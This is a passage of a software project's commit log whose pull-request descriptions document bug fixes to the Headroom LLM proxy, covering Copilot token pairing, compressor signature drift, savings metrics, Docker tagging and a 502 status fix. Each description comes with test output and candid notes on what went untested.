########## PRE-FIX ##########
  token minted under : vscode-chat
  header forwarded   : copilot-cli-chat
  -> GitHub would REJECT (401 HMAC)

########## POST-FIX ##########
  token minted under : copilot-cli-chat
  header forwarded   : copilot-cli-chat
  -> GitHub would ACCEPT
```

- **Not tested:** no live call to GitHub's CAPI — the HMAC is validated
server-side by GitHub and cannot be exercised offline. The claim
verified here is that the two halves now agree; that GitHub accepts a
correctly-paired credential is inferred from its error message, not
observed. **Worth one live Copilot CLI run before shipping to a
reporter.** The `GITHUB_COPILOT_API_TOKEN` path is also unchanged: an
externally-supplied token was minted under an integration this proxy
cannot know, so it is passed through as before.

## Runtime Rollout Safety

- **Rollout-managed feature(s):** none.
- **Minimum rollout channel:** n/a.
- **Stable/default behavior changed:** requests where Headroom replaces
the token now forward the integration ID the replacement was minted
under. For a client sending `vscode-chat` (VS Code, the previous
default) nothing changes at all — the resolved value is identical.
- **Kill switch / disable path:** setting
`GITHUB_COPILOT_INTEGRATION_ID` pins the value used for clients that
send none; clients that send one are unaffected either way.
- **Unsafe override required:** none.
- **Qualification impact:** model discovery should stop 401ing for
non-VS-Code Copilot surfaces, which restores the real model list.
- **Rollback path:** revert the commit; behavior returns to minting
under `vscode-chat` regardless of caller.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-20 22:11:42 -07:00
Tejas Chopra
45cb1b9c48
fix(kompress): accept ccr_original on the remote compressor (#3162)
## Description

From a user's proxy log (Copilot Chat 0.61.0 on Windows, VS Code
1.133.0, Headroom 0.36.x). This appears on **every single request**:

```
WARNING Kompress failed: RemoteKompressCompressor.compress() got an
        unexpected keyword argument 'ccr_original'
INFO    [router] route_counts={'ratio_too_high': 1, 'cache_miss': 1} compressed=0 frozen=1 msgs=2
INFO    Transform content_router: 1611 -> 1611 tokens (saved 0) [48.3ms]
INFO    PERF model=... tok_before=1623 tok_after=1623 tok_saved=0 tool_saved=0 savings=none
```

`RemoteKompressCompressor`'s module docstring promises the class
"mirrors `KompressCompressor`'s public surface (`is_ready` / `preload` /
`ensure_background_load` / `compress`), so it is a drop-in at the
ContentRouter seam". That promise lapsed — the local `compress` gained a
`ccr_original` keyword and the remote one did not.

`ContentRouter._try_ml_compressor` passes `ccr_original` whenever custom
tags are protected. The comment there reads:

> Only set it when tags were protected so callers/compressors that don't
accept the kwarg are unaffected on the common path.

That assumption is wrong. The remote compressor **is** affected: the
call raises `TypeError`, which the surrounding broad `except Exception`
catches and downgrades to `logger.warning("Kompress failed: %s", e)`.
The request then forwards uncompressed and the proxy reports success.

**The blast radius is the entire deployment, not one request.**
`_get_kompress` returns the remote compressor *ahead of* every local
path, so on any install with `HEADROOM_KOMPRESS_ENDPOINT` set —
precisely the sandboxed/enterprise deployment this class exists to serve
— ML compression was silently disabled while every dashboard read
"working, 0 tokens saved".

Closes #

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

Two parts, because fixing only the crash would leave the bug
`ccr_original` exists to prevent:

- **Accept the keyword** on `RemoteKompressCompressor.compress`, so the
seam contract actually holds.
- **Honor it** — store the pre-protection text in CCR rather than the
placeholder intermediate, so a later full retrieval returns the real
block instead of `{{HEADROOM_TAG_N}}`. The endpoint's own
`original_tokens` describes `content`, so when an override is supplied
the stored text is counted locally; the common path (no override) keeps
the endpoint's count exactly as before.
- **A signature-compatibility test** over the two `compress` methods, so
this drift cannot recur silently. It compares *public* keywords only —
`_deadline_started_at` is underscore-prefixed and only ever passed by
`kompress_compressor` to itself on its recursive batch path, never
across the seam.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [ ] Manual testing performed

### Test Output

```text
$ pytest tests/test_remote_kompress_dropin.py -q
8 passed in 0.25s

# Same file against pre-fix code (git stash) — reproduces the reported error:
3 failed, 5 passed
  FAILED test_remote_compress_accepts_every_local_keyword
  FAILED test_passing_ccr_original_no_longer_raises
  FAILED test_ccr_stores_the_pre_protection_text_not_the_placeholder
  E  TypeError: RemoteKompressCompressor.compress() got an unexpected
     keyword argument 'ccr_original'

$ pytest tests/ -q -k "kompress or content_router"
411 passed, 9 skipped

$ pytest tests/ -q          # this branch
6 failed, 11381 passed, 587 skipped in 446.31s

All 6 also fail on clean origin/main, same machine — pre-existing, not regressions:
  test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter
  test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
  test_release_workflows.py::test_no_native_tls_in_wheel_build_tree
  test_providers/test_deepseek.py::...v4_flash_litellm_pricing
  test_providers/test_deepseek.py::...v4_pro_litellm_pricing
  test_providers/test_deepseek.py::...cost_per_token_resolves_deepseek_v4_flash
(verified by stashing this branch and running test_deepseek.py: 3 failed, 17 passed)

$ ruff check headroom/
All checks passed!

$ mypy headroom/transforms/kompress_remote.py
Success: no issues found in 1 source file
```

## Real Behavior Proof

- **Environment:** macOS, Python 3.12.13, branch on `origin/main` @
`a3821378`.
- **Exact command / steps:** drove `RemoteKompressCompressor.compress`
with the exact kwargs `ContentRouter._try_ml_compressor` builds when
`protected` is truthy (`context`, `question`, `target_ratio`,
`allow_download`, `ccr_original`), against a stubbed HTTP client.
- **Observed result:** pre-fix that call raises `TypeError: ...
unexpected keyword argument 'ccr_original'` — byte-identical to the
user's log line. Post-fix it returns a `KompressResult`, and CCR
receives the pre-protection text (`"HEADROOM_TAG" not in stored`) with a
token count matching what was stored.
- **Not tested:** no live remote Kompress endpoint was contacted; the
HTTP client is stubbed. The end-to-end path through a running proxy
against a real `HEADROOM_KOMPRESS_ENDPOINT` has not been exercised here.

## Runtime Rollout Safety

- **Rollout-managed feature(s):** none. Affects deployments with
`HEADROOM_KOMPRESS_ENDPOINT` set.
- **Minimum rollout channel:** n/a.
- **Stable/default behavior changed:** for remote-Kompress deployments,
compression starts working again where it previously no-op'd.
Deployments without the endpoint set are untouched — they never reach
this class.
- **Kill switch / disable path:** unchanged
(`HEADROOM_KOMPRESS_ENDPOINT` unset, or `kompress_model="disabled"`).
- **Unsafe override required:** none.
- **Qualification impact:** the remote compressor's fail-open contract
is unchanged — a bad endpoint still passes content through verbatim.
- **Rollback path:** revert; behavior returns to silently-disabled
compression on remote deployments.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-20 22:11:30 -07:00
JD Davis
1bea0ea31a
test: track active LiteLLM DeepSeek pricing (#3161)
## Description

Keep the LiteLLM DeepSeek V4 integration tests compatible with
upstream-owned pricing entries. LiteLLM now publishes these models
directly, so Headroom correctly preserves upstream values instead of
installing its fallback values; the tests must validate the active entry
rather than require fallback prices.

Related: #3157

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- Validate that active upstream DeepSeek V4 price entries contain
positive input and output prices.
- Compare `cost_per_token` results with the active LiteLLM model-cost
entry.
- Preserve the existing fallback-price and non-overwrite coverage.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [ ] New tests added for new functionality
- [ ] Manual testing performed

### Test Output

```text
python -m pytest tests/test_providers/test_deepseek.py -q
20 passed in 4.63s

ruff check tests/test_providers/test_deepseek.py
All checks passed!

ruff format --check tests/test_providers/test_deepseek.py
1 file already formatted

pre-commit: Ruff alignment, merge-conflict check, Ruff, Ruff format, and mypy all passed
```

## Real Behavior Proof

- Environment: Windows, Python 3.13.13, LiteLLM model-cost data
available.
- Exact command / steps: `python -m pytest
tests/test_providers/test_deepseek.py -q`
- Observed result: all 20 DeepSeek provider and pricing tests pass
against the active LiteLLM entries.
- Not tested: provider API calls; this change only concerns local
pricing metadata assertions.

## Runtime Rollout Safety

- Rollout-managed feature(s): None.
- Minimum rollout channel: N/A.
- Stable/default behavior changed: No runtime behavior changes.
- Kill switch / disable path: N/A.
- Unsafe override required: No.
- Qualification impact: Restores deterministic CI coverage for
upstream-owned pricing entries.
- Rollback path: Revert this test-only commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code where needed
- [ ] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] Existing tests prove the fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Screenshots (if applicable)

N/A — test-only change.

## Additional Notes

Documentation changes are not applicable because runtime behavior and
public APIs are unchanged.
2026-08-20 23:19:55 -05:00
Tejas Chopra
81fe9d5345
fix(metrics): attribute tool-schema savings per model, not just compression (#3155)
## Description

Reported against 0.36.0 (VS Code + Copilot + Claude Code): the per-model
breakdown disagreed with the headline printed four lines above it.

```
Tokens saved: 625,277
  · messages       36,071
  · tool schemas  589,206
Per-Model Breakdown
  <a>: 35,907 tokens saved
  <b>:      0 tokens saved
  <c>:    164 tokens saved
  <d>:      0 tokens saved
```

The rows sum to **36,071** — the *messages* line exactly. All 589,206
tokens of tool-schema deferral, 94% of the headline, had no row to land
in, so every tool-heavy model reported "0 tokens saved" while real
dollars were credited to it.

Deferral is disjoint from message compression by construction: deferred
schemas never enter the message token counts, so they move neither
`tokens_saved` nor `tokens_sent`. The headline, the PERF line, and the
savings ledger (#2795) all already fold the two together. Three
per-model surfaces did not.

Closes #

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- **`perf/analyzer.py`** — the per-model loop summed `tokens_saved`
while its own headline summed `tokens_saved + tool_saved`. Now uses the
same all-layers construction (`headline_before = before + tool_saved`),
and prints a `· messages / · tool schemas` split line only when there is
a split to show.
- **`proxy/savings_tracker.py`** — added a `tool_tokens_saved` bucket to
`_empty_by_model_entry()`, normalization, and
`_record_by_model_locked()`; `record_request()` gained a
`tool_search_saved` parameter. `_by_model_snapshot_locked()` ranks and
computes `savings_percent` off the combined figure and exposes
`headline_tokens_saved`.
- **`proxy/prometheus_metrics.py`** — **the seam.** `record_request`
already accepted `tool_search_saved` and already folded it into the
per-model *dollars*, but never passed it to
`savings_tracker.record_request`. Tokens and money therefore disagreed
on the same row.
- **`proxy/cost.py`** (feeds the dashboard's "Per-Model Token Savings"
table) — added `_tool_saved_by_model`, a `tool_schema_saved` kwarg, and
`compression_tokens_saved` / `tool_tokens_saved` alongside a combined
`tokens_saved`. The `stats()` loop now iterates the **union** of both
dicts: keying off compression alone dropped a deferral-only model from
the table entirely rather than merely under-reporting it.
- **`proxy/outcome.py`** — forwards the figure it already computed for
`metrics.record_request` to `cost_tracker.record_tokens`.
- **`dashboard.html`** — the "Tokens Saved" cell gains a `title` showing
the compression/deferral split.

Design notes:
- Components stay separately addressable rather than widening an
existing field's meaning in place, so persisted state remains readable
by older readers.
- Percentages use the all-layers numerator over `saved + sent` —
deferred schemas were never in `sent`, so that is still the pre-Headroom
volume.
- `CostTracker.stats()["savings_usd"]` is deliberately **not** widened:
deferral is already priced by `SavingsTracker`, and this tracker's
dollars feed budget enforcement, where counting it twice would
double-book the saving.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [ ] Manual testing performed

### Test Output

```text
$ pytest tests/test_per_model_tool_savings.py -q
11 passed in 0.94s

# Same file against pre-fix code (git stash), proving the tests bite:
5 failed, 1 passed
  FAILED test_per_model_rows_reconcile_with_the_headline
  FAILED test_a_tool_only_model_no_longer_reads_zero
  FAILED test_tracker_attributes_deferral_to_the_model
  FAILED test_tracker_default_is_unchanged_without_deferral
  FAILED test_state_written_before_this_field_existed_still_loads
(the one that passes pre-fix is the "compression-only model is unchanged" guard)

$ pytest tests/ -q          # this branch
3 failed, 11374 passed, 587 skipped in 343.55s

$ pytest tests/ -q          # clean origin/main, same machine
3 failed, 11364 passed, 587 skipped in 352.64s

Identical 3 failures on both — pre-existing and environmental, not regressions:
  test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
  test_release_workflows.py::test_no_native_tls_in_wheel_build_tree   (FileNotFoundError: 'cargo')
  test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter
    (whole-suite ordering flake; tests/test_graceful_shutdown.py passes 11/11 in isolation on this branch)

$ ruff check headroom/
All checks passed!

$ mypy headroom/proxy/cost.py headroom/proxy/savings_tracker.py \
       headroom/proxy/prometheus_metrics.py headroom/proxy/outcome.py \
       headroom/perf/analyzer.py
Success: no issues found in 5 source files
```

## Real Behavior Proof

- Environment: macOS, Python 3.12.13, this branch rebased on
`origin/main` @ `1f96dabc`.
- Exact command / steps: reproduced the reported shape as a unit test —
three models with 35,907 / 0 / 164 message savings and 400,000 / 189,206
/ 0 deferral, then rendered `format_report`.
- Observed result: headline `Tokens saved: 625,277` unchanged; rows now
read `435,907` / `189,206` / `164` and sum to the headline. The seam
test drives the real `PrometheusMetrics.record_request` and asserts the
tracker's `by_model` entry ends up at `tokens_saved=400,
tool_tokens_saved=54,000, headline_tokens_saved=54,400`.
- Not tested: no live proxy run against a real Copilot/Claude Code
session; the arithmetic is pinned at the four code seams instead. The
dashboard `title` tooltip is markup-only and not covered by a rendering
test.

## Runtime Rollout Safety

- Rollout-managed feature(s): none — this is reporting arithmetic, not a
request-path behavior.
- Minimum rollout channel: n/a.
- Stable/default behavior changed: yes, displayed per-model token
savings and percentages increase to include tool-schema deferral. No
request is treated differently.
- Kill switch / disable path: n/a. Components remain separately readable
(`compression_tokens_saved` / `tool_tokens_saved`) if a consumer wants
the old message-only figure.
- Unsafe override required: none.
- Qualification impact: none — `savings_usd` and budget enforcement are
unchanged by design.
- Rollback path: revert the commit; `tool_tokens_saved` in persisted
state is then simply ignored by the older reader.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-20 11:54:02 -07:00
Tejas Chopra
bf651c3dc1
fix(docker): give :latest exactly one writer (#3154)
## Description

Closes #3150. `ghcr.io/headroomlabs-ai/headroom:latest` resolved to the
distroless `code-slim` build, whose `import onnxruntime` segfaults on
arm64. The proxy imports onnxruntime at startup in cache mode, so the
container never bound its port and `headroom deploy` crash-looped (exit
139) on Apple Silicon.

@ricwo's report is exceptionally good — it isolates the base image with
a copy-`site-packages`-onto-`debian:trixie-slim` experiment, and
explicitly retracts an earlier wrong theory about the `cpuid_info` line.
I verified the tagging half independently against the live registry:

```
latest            sha256:6b34905489e3...   <- identical
0.36.0-code-slim  sha256:6b34905489e3...   <- identical
0.36.0            sha256:bb8e77d01b54...
```

**Root cause, proven from the job log rather than inferred.**
`docker/metadata-action` defaults to `latest=auto`, which appends a bare
`latest` for any semver release — and its own log line reads
`suffixLatest=false`, meaning the per-tag `suffix=` that keeps every
other tag variant-scoped never reaches it. All eight variant cells
therefore emitted `:latest`, and the last to finish won. From the 0.36.0
`code-slim` cell:

```
latest=auto
suffixLatest=false
tags: [..."ghcr.io/headroomlabs-ai/headroom:code-slim",
           "ghcr.io/headroomlabs-ai/headroom:latest"]
pushing sha256:fbcbb68... to ghcr.io/headroomlabs-ai/headroom:latest
```

It landed on `code-slim` by scheduling luck. Any of the eight could have
won on any release.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- **`flavor: latest=false`** on the `docker-manifest` metadata-action.
Stops the tag being generated at all, leaving the root-cell promotion
step as the single writer of `:latest`.
- **A runtime guard** in `Create multi-arch manifest`: if a suffixed
variant reaches the push carrying a bare `latest`, the job fails instead
of publishing. `VARIANT_NAME` is passed via `env:` rather than spliced
inline.
- **A test that encodes the missing half of the contract.**
`test_docker_latest_promotion_is_owned_by_root_manifest_cell` already
existed and passed throughout — it asserted the *intended* writer was
the root cell but never the *absence of unintended ones*. The new test
asserts exclusivity: `latest=false` is set, no tag rule reintroduces
`value=latest`, and the guard runs before anything is pushed.

## Testing

- [x] Unit tests pass (`pytest`)

### Test Output

```text
tests/test_release_workflows.py   48 passed, 1 skipped, 1 failed

The failure is test_no_native_tls_in_wheel_build_tree:
  FileNotFoundError: [Errno 2] No such file or directory: 'cargo'
Pre-existing and environmental — cargo is not installed on this machine;
it fails identically on a clean main checkout.

ruff check: All checks passed
ruff format --check: 1 file already formatted
YAML parses; flavor='latest=false', env keys ['IMAGE','DIGEST_DIR','VARIANT_NAME'].
```

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), worktree off `main`. Live registry
queried anonymously via the GHCR token endpoint.
- Exact command / steps: (1) resolved `latest`, `0.36.0` and all four
variant tags to manifest digests directly from
`ghcr.io/v2/.../manifests/*` to confirm the aliasing; (2) pulled the
`docker-manifest (code-slim)` job log from the 0.36.0 release run to see
which tags that cell actually pushed; (3) applied the fix and ran the
workflow test suite; (4) **removed `latest=false` again and re-ran the
new test** to confirm it reproduces the bug.
- Observed result: `:latest` and `:0.36.0-code-slim` share digest
`sha256:6b34905489e3...` while `:0.36.0` is `sha256:bb8e77d01b54...`,
exactly as reported. The code-slim job log shows `latest=auto` /
`suffixLatest=false` and `pushing ... to
ghcr.io/headroomlabs-ai/headroom:latest`. With the fix removed the new
test fails on `assert 'latest=false' in ''`; with it restored, it
passes.
- Not tested: I could not exercise the arm64 segfault or a real
multi-arch push from here — no ghcr write credential and no arm64
runner. The tagging fix is verified at the config layer plus the
registry evidence above; the end-to-end proof is the re-run described
below.

## Runtime Rollout Safety

- Rollout-managed feature(s): None.
- Minimum rollout channel: n/a
- Stable/default behavior changed: Yes, and that is the fix — `:latest`
will track the plain Debian-based build instead of whichever variant
cell happened to finish last.
- Kill switch / disable path: n/a (CI tagging policy).
- Unsafe override required: No.
- Qualification impact: A variant cell that would publish a bare
`latest` now fails the Docker job loudly rather than silently repointing
the default tag.
- Rollback path: Revert the commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Additional Notes

**The live `:latest` is still wrong until the images are re-tagged.**
Merging this fixes future releases but does not touch the registry. Once
merged, run `docker.yml` via `workflow_dispatch` with `version=0.36.0`
to rebuild and repoint `:latest` at the plain build. I don't hold a
`write:packages` credential, so that step needs a maintainer.

**Not fixed here, and it outlives this PR:** the distroless arm64
segfault itself. After this change `:latest` points at the Debian build
that works, but `0.36.0-slim` and `0.36.0-code-slim` remain broken on
arm64 for anyone selecting them explicitly. @ricwo's evidence points
squarely at the distroless base — same wheel, same numpy 2.5.2, same
Python 3.13.5, works on `debian:trixie-slim` and segfaults on
distroless. That deserves its own issue; the two failures are
independent and this one is a release-tagging bug, exactly as the report
says.

Related but separate, from an earlier audit of this same file: the four
bare variants set `RUNTIME_USER = "root"` in `docker-bake.hcl` while
`Dockerfile:162` defaults to `nonroot`, and the `runtime-default`
(nonroot) bake target is referenced by the docs but by no workflow.
Worth its own change.

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
2026-08-20 11:45:59 -07:00
Tejas Chopra
1f96dabc19
fix(security): address u9up assessment findings (WEB-01–07) (#2207)
Hardens client-selected upstreams, memory identity resolution, downloaded binary integrity, telemetry import, Docker defaults, Neo4j credentials, and archive extraction. Refreshes the branch against current main and preserves newer same-origin and loopback protections.
2026-08-20 09:02:44 -05:00
Serge ARADJ
a3d9424de9
fix(proxy): return 502, not 200, when upstream connect retries are exhausted (#3083)
## Description

When every connect retry to the upstream API fails,
`_stream_response_inner` synthesizes its own SSE error response (added
in #1639, so an h2 `StreamReset` wouldn't surface as an unhandled 502).
It was built without a `status_code`, so Starlette defaulted it to
**200**.

A 200 carrying a lone `event: error` frame and no `message_start` is
indistinguishable, to every Anthropic/OpenAI SDK, from a successful
stream that produced no events. Claude Code reports:

```
API Error: API returned an empty or malformed response (HTTP 200)
 - check for a proxy or gateway intercepting the request
```

The client also cannot recover, because 200 is not a retryable status.

**It does not self-heal.** Compression fails open on timeout, so the
proxy forwards the full uncompressed body; the client retries, re-sends
the same oversized payload, hits the same transport failure, and gets
another 200. The session is stuck until the client is pointed away from
the proxy.

Related — same *symptom*, different root cause, so this closes none of
them: #3040, #3055, #3019, #2952 (CCR buffered-stream conversion),
#3071, #3017. Worth noting that #3040 ("first messages succeed, fails
after several turns", closed `NOT_PLANNED`) matches this failure's shape
exactly.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [x] Breaking change (fix or feature that would cause existing
functionality to change)
- [x] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

Marked breaking because the status code on this path changes 200 to 502.
See **Runtime Rollout Safety**.

## Changes Made

- `handlers/streaming.py` — the synthesized transport-error response now
returns **502**. The structured SSE body is unchanged for clients that
read it. No body byte has been forwarded at that point, so the status
line is still ours to set.
- `prometheus_metrics.py` — new
`headroom_upstream_connection_errors_total{provider}`. This path
forwards no upstream status, so there was nothing to attribute the
failure to in `/metrics`; it survived only as a log line. Mirrors
`record_compression_failed` and takes the same `_obs_counter_lock`.
- `server.py` — `HEADROOM_LOG_LEVEL` for uvicorn's level, previously
hardcoded to `"warning"` with no env var and no CLI flag. Default
unchanged. An unrecognized value warns and falls back rather than
raising (uvicorn raises `KeyError` on unknown levels).
- `docs/content/docs/proxy.mdx` — documents the new env var in the
Observability table.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

`test_stream_reset_exhaustion_yields_sse_error_not_crash` asserted the
SSE body but never the status — which is how the 200 survived. Added a
test that pins the status specifically, a happy-path guard, and coverage
for the counter and the env-var resolver.

### Test Output

```text
$ python -m pytest tests/test_h2_stream_reset_retry.py tests/test_prometheus_obs_counters.py tests/test_uvicorn_log_level_env.py -q
29 passed in 5.26s

$ python -m ruff check .
All checks passed!

$ python -m ruff format --check .
1506 files already formatted

$ python -m mypy headroom/proxy/handlers/streaming.py headroom/proxy/prometheus_metrics.py headroom/proxy/server.py
Success: no issues found in 3 source files

# Fails before the fix (status_code=502 line removed, nothing else changed):
$ python -m pytest tests/test_h2_stream_reset_retry.py -k status_is_not_200
    assert result.status_code == 502
E   assert 200 == 502
FAILED tests/test_h2_stream_reset_retry.py::test_stream_reset_exhaustion_status_is_not_200
1 failed, 5 deselected in 1.28s
```

Broader regression run (181 passed): `test_h2_stream_reset_retry`,
`test_prometheus_obs_counters`, `test_uvicorn_log_level_env`,
`test_prometheus_label_escaping`, `test_observability_metrics`,
`test_prometheus_stage_timing_concurrency`,
`test_proxy_streaming_ratelimit_headers`, `test_proxy_retry_429`,
`test_proxy_byte_faithful_forwarding`, `test_ws_http_fallback`,
`test_mid_turn_steering`, `test_proxy_anthropic_cache_stability`.

## Real Behavior Proof

- Environment: Windows 11, Python 3.13.15, headroom @ this branch.
Genuine `create_app()` FastAPI app under real uvicorn — no mocks, no
TestClient. Upstream pinned to `http://127.0.0.1:59999` (a closed port),
so every connect attempt is a real TCP refusal, producing a real
`httpx.ConnectError` (an `httpx.TransportError`) into the branch under
test. `retry_max_attempts=2`.
- Exact command / steps: boot the real app with
`HEADROOM_LOG_LEVEL=info` and
`ProxyConfig(anthropic_api_url="http://127.0.0.1:59999")`, POST a
`stream:true` request to `/v1/messages`, then scrape `/metrics`.
Verbatim commands below.
- Observed result: `HTTP_STATUS=502` (previously 200), structured SSE
error body intact,
`headroom_upstream_connection_errors_total{provider="anthropic"} 1`, and
a uvicorn access line present only because `HEADROOM_LOG_LEVEL=info` was
honored. Verbatim output below.
- Not tested: the h2 `StreamReset` variant specifically — reproduced via
`ConnectError`, a sibling `httpx.TransportError` travelling the
identical code path (the existing `test_stream_reset_exhaustion_*` tests
cover `RemoteProtocolError` at unit level). Not exercised against the
OpenAI, Gemini, or Bedrock streaming handlers, which have their own
error paths. No load or concurrency testing.

Commands run after the patch:

```bash
# boot the real app with a dead upstream and the new env var set
HEADROOM_LOG_LEVEL=info python run_proxy_proof.py   # ProxyConfig(anthropic_api_url="http://127.0.0.1:59999")

curl -s -o resp.txt -w "HTTP_STATUS=%{http_code}\ncontent_type=%{content_type}\n" \
  http://127.0.0.1:8799/v1/messages \
  -H "content-type: application/json" \
  -H "x-api-key: proof-key" \
  -H "anthropic-version: 2023-06-01" \
  -d @request.json    # {"model":"claude-opus-5","max_tokens":64,"stream":true,"messages":[...]}
```

After-fix evidence:

```text
PROOF: HEADROOM_LOG_LEVEL='info' -> uvicorn log_level='info'
PROOF: upstream pinned to http://127.0.0.1:59999 (closed port)

HTTP_STATUS=502
content_type=text/event-stream; charset=utf-8

event: error
data: {"type": "error", "error": {"type": "connection_error", "message": "Failed to connect to upstream API: All connection attempts failed"}}
```

```text
$ curl -s http://127.0.0.1:8799/metrics | grep upstream_connection_errors
# HELP headroom_upstream_connection_errors_total Exhausted-retries upstream transport failures by provider; the proxy answered 502 itself because no upstream response arrived
# TYPE headroom_upstream_connection_errors_total counter
headroom_upstream_connection_errors_total{provider="anthropic"} 1
```

```text
# uvicorn access log — present only because HEADROOM_LOG_LEVEL=info was honored:
INFO:     127.0.0.1:62472 - "POST /v1/messages HTTP/1.1" 502 Bad Gateway
INFO:     127.0.0.1:62479 - "GET /metrics HTTP/1.1" 200 OK
```

All three changes are exercised end to end: the status is 502, the
structured body survives, the counter increments, and the env var takes
effect.

Separately, this ran against a real deployment: the fix is live on a
self-hosted proxy at `0.35.1-alpha.3` (Azure Container Apps, Cloudflare
in front), where the original HTTP 200 was first observed against
`0.35.1-alpha.1`.

## Runtime Rollout Safety

- Rollout-managed feature(s): none — unconditional bug fix, no flag.
- Minimum rollout channel: n/a — ships with the change.
- Stable/default behavior changed: yes. This path returns 502 instead of
200. `HEADROOM_LOG_LEVEL` and the new counter both default to current
behavior (`warning`; the counter is absent from `/metrics` until the
first occurrence).
- Kill switch / disable path: none. Happy to add an env guard if you
would prefer it staged, though a 200 on this path is never correct.
- Unsafe override required: no.
- Qualification impact: any client treating the synthesized 200 as
success now sees a 5xx. That is the fix — such a client was silently
accepting a truncated response. Retry-on-5xx logic in the Anthropic and
OpenAI SDKs will now retry a transient transport failure, which is the
intended behavior.
- Rollback path: revert the commit; single and self-contained.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Screenshots (if applicable)

N/A — terminal output above.

## Additional Notes

**Scope.** Three changes in one PR, against the "one logical change"
guidance. They share a single root cause: this bug was only findable by
reading `/metrics`, because the failing path emitted no status, no
counter, and (see below) no usable log line. The counter and the env var
are the observability that should have made it a five-minute diagnosis
instead of a forensic exercise. Happy to split the `HEADROOM_LOG_LEVEL`
change into its own PR if you would rather keep the fix minimal — just
say so.

**Related defect, filed separately as #3087.** While producing the proof
above I found that the proxy's own `logger.error("Connection error to
upstream API: ...")` never reaches stdout: that run produced **zero**
`headroom.proxy` logger lines, only uvicorn's own. Root cause is
`_setup_file_logging()` setting `propagate = False` on the `headroom`
logger (`helpers.py:1536`), which sends every application record to
`~/.headroom/logs/proxy.log` and nowhere else — invisible in any
container, where stdout is the log channel. That is precisely why this
PR adds a counter rather than trusting a log line. Not fixed here: the
right remedy is a maintainer call, so it is written up in #3087 with a
repro rather than folded into this PR.

**No dependency changes.**

The dead-upstream harness used for the proof above is ~25 lines
(`ProxyConfig(anthropic_api_url="http://127.0.0.1:59999")` +
`uvicorn.run(create_app(config))`); happy to contribute it as an e2e
test if that is useful.

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-20 06:32:30 -07:00
Tejas Chopra
0e26fb80de
fix(proxy/anthropic): stop answering a non-streaming turn with an event stream (#3142)
## Description

Closes #3130. Unifies #3131 (@Joaovsales) and #3132 (@taiseii), which
landed within hours of each other on the same bug. Neither is redundant
— **#3131 contributed the clearest statement of the contract; #3132
contributed the reconstruction that can actually be trusted to satisfy
it.** This takes both.

A caller that sent `stream: false` was handed a `text/event-stream` body
at HTTP 200. The reply was complete — 8756 bytes, a valid upstream
`request-id` — it was simply wearing a wire format the SDK cannot parse,
so the turn was lost.

**On root cause.** #3130 says outright: *"I could not pin down why the
upstream answered a `stream`-less request with an event stream."* I
think this does. At `v0.35.0` the CCR path flips the body to `stream:
false` and never touches the client's `Accept` header — I checked the
tag and the count of Accept rewrites at that site is **zero**. So
